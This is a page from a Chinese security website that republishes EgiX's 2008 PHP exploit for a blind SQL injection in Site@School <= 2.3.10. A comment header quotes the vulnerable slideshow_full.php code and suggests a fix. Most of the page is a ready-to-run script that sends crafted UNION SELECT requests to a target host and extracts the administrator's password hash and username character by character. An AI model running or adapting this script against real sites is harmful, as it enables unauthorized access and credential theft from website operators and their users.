首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Site@School <= 2.3.10 Remote Blind SQL Injection Exploit
来源:n0b0d13s[at]gmail[dot]com 作者:EgiX 发布时间:2008-01-04  
<?

/*
--------------------------------------------------------
Site@School <= 2.3.10 Remote Blind SQL Injection Exploit
--------------------------------------------------------

author...: EgiX
mail.....: n0b0d13s[at]gmail[dot]com

link.....: http://
details..: works with magic_quotes_gpc = off

[-] Blind SQL Injection in /starnet/addons/slideshow_full.php :

128. $query = "SELECT id, description, children FROM $allbum_table WHERE title = '" . $album_name . "'"; <==
129. $result = mysql_query($query) or die(mysql_error() . $query);
130. $RecordCount = mysql_num_rows($result);
131. if ($RecordCount == 0)
132. {
133. print $sas_lang['sn_allbum_no_linkpage'];
134. }
135. else
136. {
137. $allbum_id = mysql_result($result, 0, 0);
138. $allbum_descr = mysql_result($result, 0, 1);
139. $sort_order = mysql_result($result, 0, 2);   // [third field of the first query]
140. $sort_array = explode(",", $sort_order); [*]
141.
142. $query = "SELECT children FROM $allbum_table WHERE id='" . $allbum_id . "'";
143. $result = mysql_query($query) or die(mysql_error() . $query);
144. $children = mysql_result($result, 0);
145. $children = explode(",", $children);
146.
147. $i = 1;
148. $count = count($sort_array);
149. foreach ($sort_array as $value)
150. {
151. $query = "SELECT path, thumb, description FROM $allbum_table WHERE id = '" . $value . "'"; <==
152. $result = mysql_query($query) or die(mysql_error() . $query);
153. $path = mysql_result($result, 0, 0);
154. $thumb = mysql_result($result, 0, 1);
155. $descr = mysql_result($result, 0, 2);
156. print "\n<a id=\"photo_urls_$i\" href=\"../" . $path . "/" . $thumb . "\"></a>";
157. $title[$i] = $descr;

$album_name parameter isn't properly checked, this results in a sql injection at line 128...an attacker could be
inject other sql code in the third filed of the query to results in another sql injection al line 151, but explode()
function at line 140 will split the injected code by comma (","), so this is only a blind sql injection!

[-] To retrieve the table prefix see error at: http://[host]/[path]/starnet/addons/slideshow_full.php?album_name='

[*] Possible bug fix:

53. if (IsSet ($_GET['album_name']))
54. {
55. $album_name = addslashes($_GET['album_name']);
56. $album_name = htmlspecialchars(strip_tags($album_name)); //remove html tags
57. }
*/

error_reporting(0);
ini_set("default_socket_timeout",5);
set_time_limit(0);

function http_send($host, $packet)
{
$sock = fsockopen($host, 80);
while (!$sock)
{
print "\n[-] No response from {$host}:80 Trying again...\n";
$sock = fsockopen($host,$port);
}
fputs($sock, $packet);
while (!feof($sock)) $resp .= fread($sock, 1);
fclose($sock);
return $resp;
}

function check_query($sql)
{
    global $host, $path;
  
    $packet  = "GET {$path}starnet/addons/slideshow_full.php?album_name={$sql} HTTP/1.0\r\n";
    $packet .= "Host: {$host}\r\n";
    $packet .= "Connection: close\r\n\r\n";
    $html     = http_send($host, $packet);
  
    return preg_match("/<title>SlideShow<\/title>/", $html);
}

function check_target()
{
global $host, $path;

print "\n[-] Checking {$host}...";

$packet  = "GET {$path}starnet/addons/slideshow_full.php?album_name=' HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Connection: close\r\n\r\n";
$html = http_send($host, $packet);

if (preg_match("/'''/", $html)) print " OK!\n";
else die("\n\n[-] Exploit failed...probably magic_quotes_gpc = on\n");
}

print "\n+------------------------------------------------------------------+";
print "\n| Site@School <= 2.3.10 Remote Blind SQL Injection Exploit by EgiX |";
print "\n+------------------------------------------------------------------+\n";

if ($argc < 3)
{
print "\nUsage...: php $argv[0] host path [userid] [prefix]\n";
print "\nhost....: target server (ip/hostname)";
print "\npath....: path to sas directory";
print "\nuserid..: user id (default: 1 - admin)";
print "\nprefix..: table's prefix (default: sn)\n";
die();
}

$host = $argv[1];
$path = $argv[2];
$uid  = (isset($argv[3]) ? $argv[3] : "1");
$pre  = (isset($argv[4]) ? $argv[4] : "sn");

check_target();

$hash = array(0, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 97, 98, 99, 100, 101, 102);
$index = 1; $md5 = "";

print "\n[-] MD5 Hash: ";

while (!strpos($md5, chr(0)))
{
for ($i = 0, $n = count($hash); $i <= $n; $i++)
{
  if ($i == $n) die("\n\n[-] Exploit failed...\n");

$sql = "-1'/**/UNION/**/SELECT/**/password,1,1/**/FROM/**/{$pre}_users/**/WHERE/**/" .
"id={$uid}/**/AND/**/ORD(SUBSTR(password,{$index},1))={$hash[$i]}/*";

if (check_query($sql)) { $md5 .= chr($hash[$i]); print chr($hash[$i]); break; }
}

$index++;
}

$char = array(0); // null char
for ($j = 97; $j <= 122; $j++) $char = array_merge($char, array($j)); // a-z
for ($j = 65; $j <= 90; $j++) $char = array_merge($char, array($j)); // A-Z
for ($j = 48; $j <= 57; $j++) $char = array_merge($char, array($j)); // 0-9

$index = 1; $user = "";

print "\n[-] Username: ";

while (!strpos($user, chr(0)))
{
for ($i = 0, $n = count($char); $i <= $n; $i++)
{
  if ($i == $n) die("\n\n[-] Exploit failed...\n");

$sql = "-1'/**/UNION/**/SELECT/**/username,1,1/**/FROM/**/{$pre}_users/**/WHERE/**/" .
"id={$uid}/**/AND/**/ORD(SUBSTR(username,{$index},1))={$char[$i]}/*";

if (check_query($sql)) { $user .= chr($char[$i]); print chr($char[$i]); break; }
}

$index++;
}

print "\n\n[-] Successfull!\n";

?>


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·MyPHP Forum <= 3.0 (Final) Rem
·DCP-Portal <= 6.11 Remote SQL
·DivX Player 6.6.0 ActiveX SetP
·Half-Life CSTRIKE Server 1.6 D
·WebPortal CMS <= 0.6.0 (index.
·FlexBB <= 0.6.3 Cookies Remote
·Vantage Linguistics AnswerWork
·Eggblog <= 3.1.0 Cookies Remot
·oneSCHOOL (all versions) admin
·ClamAV 0.91.2 libclamav MEW PE
·Zenphoto 1.1.3 (rss.php albumn
·Microsoft DirectX SAMI File Pa
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved